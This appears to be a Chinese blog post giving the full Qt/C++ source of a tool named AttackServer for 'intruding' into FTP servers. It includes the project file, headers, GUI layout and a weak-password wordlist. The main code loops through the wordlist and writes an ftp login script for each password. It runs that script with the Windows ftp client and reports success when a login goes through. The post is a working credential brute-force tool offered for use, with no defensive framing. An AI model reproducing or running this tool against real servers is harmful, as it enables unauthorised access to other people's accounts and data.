简单入侵ftp服务器

C语言在QT下编写简单入侵ftp服务器程序

AttackServer.pro

#-------------------------------------------------
#
# Project created by QtCreator 2019-11-16T21:41:42
#
#-------------------------------------------------

QT       += core gui

greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

TARGET = AttackServer
TEMPLATE = app


SOURCES += main.cpp\
        mainwindow.cpp

HEADERS  += mainwindow.h

FORMS    += mainwindow.ui

mainwindow.h

#ifndef MAINWINDOW_H
#define MAINWINDOW_H

#include <QMainWindow>

namespace Ui {
class MainWindow;
}

class MainWindow : public QMainWindow
{
    Q_OBJECT

public:
    explicit MainWindow(QWidget *parent = 0);
    ~MainWindow();

private slots:
    void on_SelectFile_triggered();

    void on_pushButton_clicked();

private:
    Ui::MainWindow *ui;
};

#endif // MAINWINDOW_H

main.cpp

#include "mainwindow.h"
#include <QApplication>

int main(int argc, char *argv[])
{
    QApplication a(argc, argv);
    MainWindow w;
    w.show();

    return a.exec();
}

mainwindow.cpp

#include "mainwindow.h"
#include "ui_mainwindow.h"

#include <QFileDialog>
#include <QTextCodec>
#include <string.h>
#include <QString>
#include <QDebug>

FILE *fp = NULL;

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
}

MainWindow::~MainWindow()
{
    fclose(fp);
    delete ui;
}

//打开密码文件
void MainWindow::on_SelectFile_triggered()
{
    QString fileName = QFileDialog::getOpenFileName();
    QTextCodec *codec = QTextCodec::codecForName("GBK");
    char *file = codec->fromUnicode(fileName).data();
    fp = fopen(file, "r");
    if(!fp)
    {
        ui->labelShow->setText("打开密码文件失败!");
        return;
    }
    else
    {
        ui->labelShow->setText("打开密码文件成功!");
    }
}

//开始入侵
void MainWindow::on_pushButton_clicked()
{
   if(!fp)
   {
       ui->labelShow->setText("请选择密码文件!");
       return;
   }
   QString ip = ui->textEditIP->toPlainText().trimmed();
   QString username = ui->textEditUsername->toPlainText().trimmed();
   if(ip.isEmpty())
   {
       ui->labelShow->setText("请输入要入侵的ip地址!");
       return;
   }
   if(username.isEmpty())
   {
       ui->labelShow->setText("请输入要入侵的用户名!");
       return;
   }
   /*open 192.168.228.129
     user
     weiyujian
     111111
     bye
   */
   char pass[30];
   char buf[1024];
   char content[1024];
   while(1)
   {
       memset(pass, 0, 30);
       fgets(pass, 30, fp);
       memset(buf, 0, 1024);
       sprintf(buf, "open %s\nuser\n%s\n%sbye",
               ip.toStdString().data(),
               username.toStdString().data(),
               pass);
       FILE *fp1 = fopen("D:\\key.txt", "w");
       if(!fp1)
       {
           ui->labelShow->setText("生成密钥文件失败!\n");
           return;
       }
       fputs(buf, fp1);
       fclose(fp1);

       FILE *fp2 = _popen("ftp -n -s:D:\\key.txt", "r");
       if(!fp2)
       {
           ui->labelShow->setText("控制行打开失败!\n");
           return;
       }
       int index = 0;
       while(!feof(fp2))
       {
           memset(content, 0, 1024);
           fgets(content, 1024, fp2);
           if(index==4 && !strncmp(content, "bye", 3))
           {
               ui->labelShow->setText("入侵成功!");
               ui->textEditPassword->setText(pass);
               fclose(fp);
               _pclose(fp2);
               return;
           }
           index++;
       }

       _pclose(fp2);
   }
}

mainwindow.ui

<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
 <class>MainWindow</class>
 <widget class="QMainWindow" name="MainWindow">
  <property name="geometry">
   <rect>
    <x>0</x>
    <y>0</y>
    <width>500</width>
    <height>300</height>
   </rect>
  </property>
  <property name="windowTitle">
   <string>MainWindow</string>
  </property>
  <widget class="QWidget" name="centralWidget">
   <widget class="QLabel" name="labelShow">
    <property name="geometry">
     <rect>
      <x>160</x>
      <y>10</y>
      <width>311</width>
      <height>21</height>
     </rect>
    </property>
    <property name="text">
     <string/>
    </property>
   </widget>
   <widget class="QPushButton" name="pushButton">
    <property name="geometry">
     <rect>
      <x>180</x>
      <y>200</y>
      <width>141</width>
      <height>31</height>
     </rect>
    </property>
    <property name="text">
     <string>开始</string>
    </property>
   </widget>
   <widget class="QWidget" name="layoutWidget">
    <property name="geometry">
     <rect>
      <x>75</x>
      <y>50</y>
      <width>71</width>
      <height>131</height>
     </rect>
    </property>
    <layout class="QVBoxLayout" name="verticalLayout">
     <item>
      <widget class="QLabel" name="label">
       <property name="text">
        <string>IP地址:</string>
       </property>
      </widget>
     </item>
     <item>
      <widget class="QLabel" name="label_2">
       <property name="text">
        <string>用户名:</string>
       </property>
      </widget>
     </item>
     <item>
      <widget class="QLabel" name="label_3">
       <property name="text">
        <string>密码:</string>
       </property>
      </widget>
     </item>
    </layout>
   </widget>
   <widget class="QWidget" name="layoutWidget">
    <property name="geometry">
     <rect>
      <x>150</x>
      <y>60</y>
      <width>291</width>
      <height>227</height>
     </rect>
    </property>
    <layout class="QVBoxLayout" name="verticalLayout_2">
     <item>
      <widget class="QTextEdit" name="textEditIP"/>
     </item>
     <item>
      <widget class="QTextEdit" name="textEditUsername"/>
     </item>
     <item>
      <widget class="QTextEdit" name="textEditPassword"/>
     </item>
    </layout>
   </widget>
  </widget>
  <widget class="QMenuBar" name="menuBar">
   <property name="geometry">
    <rect>
     <x>0</x>
     <y>0</y>
     <width>500</width>
     <height>23</height>
    </rect>
   </property>
   <widget class="QMenu" name="menu">
    <property name="title">
     <string>开始</string>
    </property>
    <addaction name="SelectFile"/>
   </widget>
   <addaction name="menu"/>
  </widget>
  <widget class="QToolBar" name="mainToolBar">
   <attribute name="toolBarArea">
    <enum>TopToolBarArea</enum>
   </attribute>
   <attribute name="toolBarBreak">
    <bool>false</bool>
   </attribute>
  </widget>
  <widget class="QStatusBar" name="statusBar"/>
  <action name="SelectFile">
   <property name="text">
    <string>选择密码文件...</string>
   </property>
  </action>
 </widget>
 <layoutdefault spacing="6" margin="11"/>
 <resources/>
 <connections/>
</ui>

pass.txt

000001
000002
000003
000004
000005
000006
000007
123456
666666
888888
zhang123
liu123
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值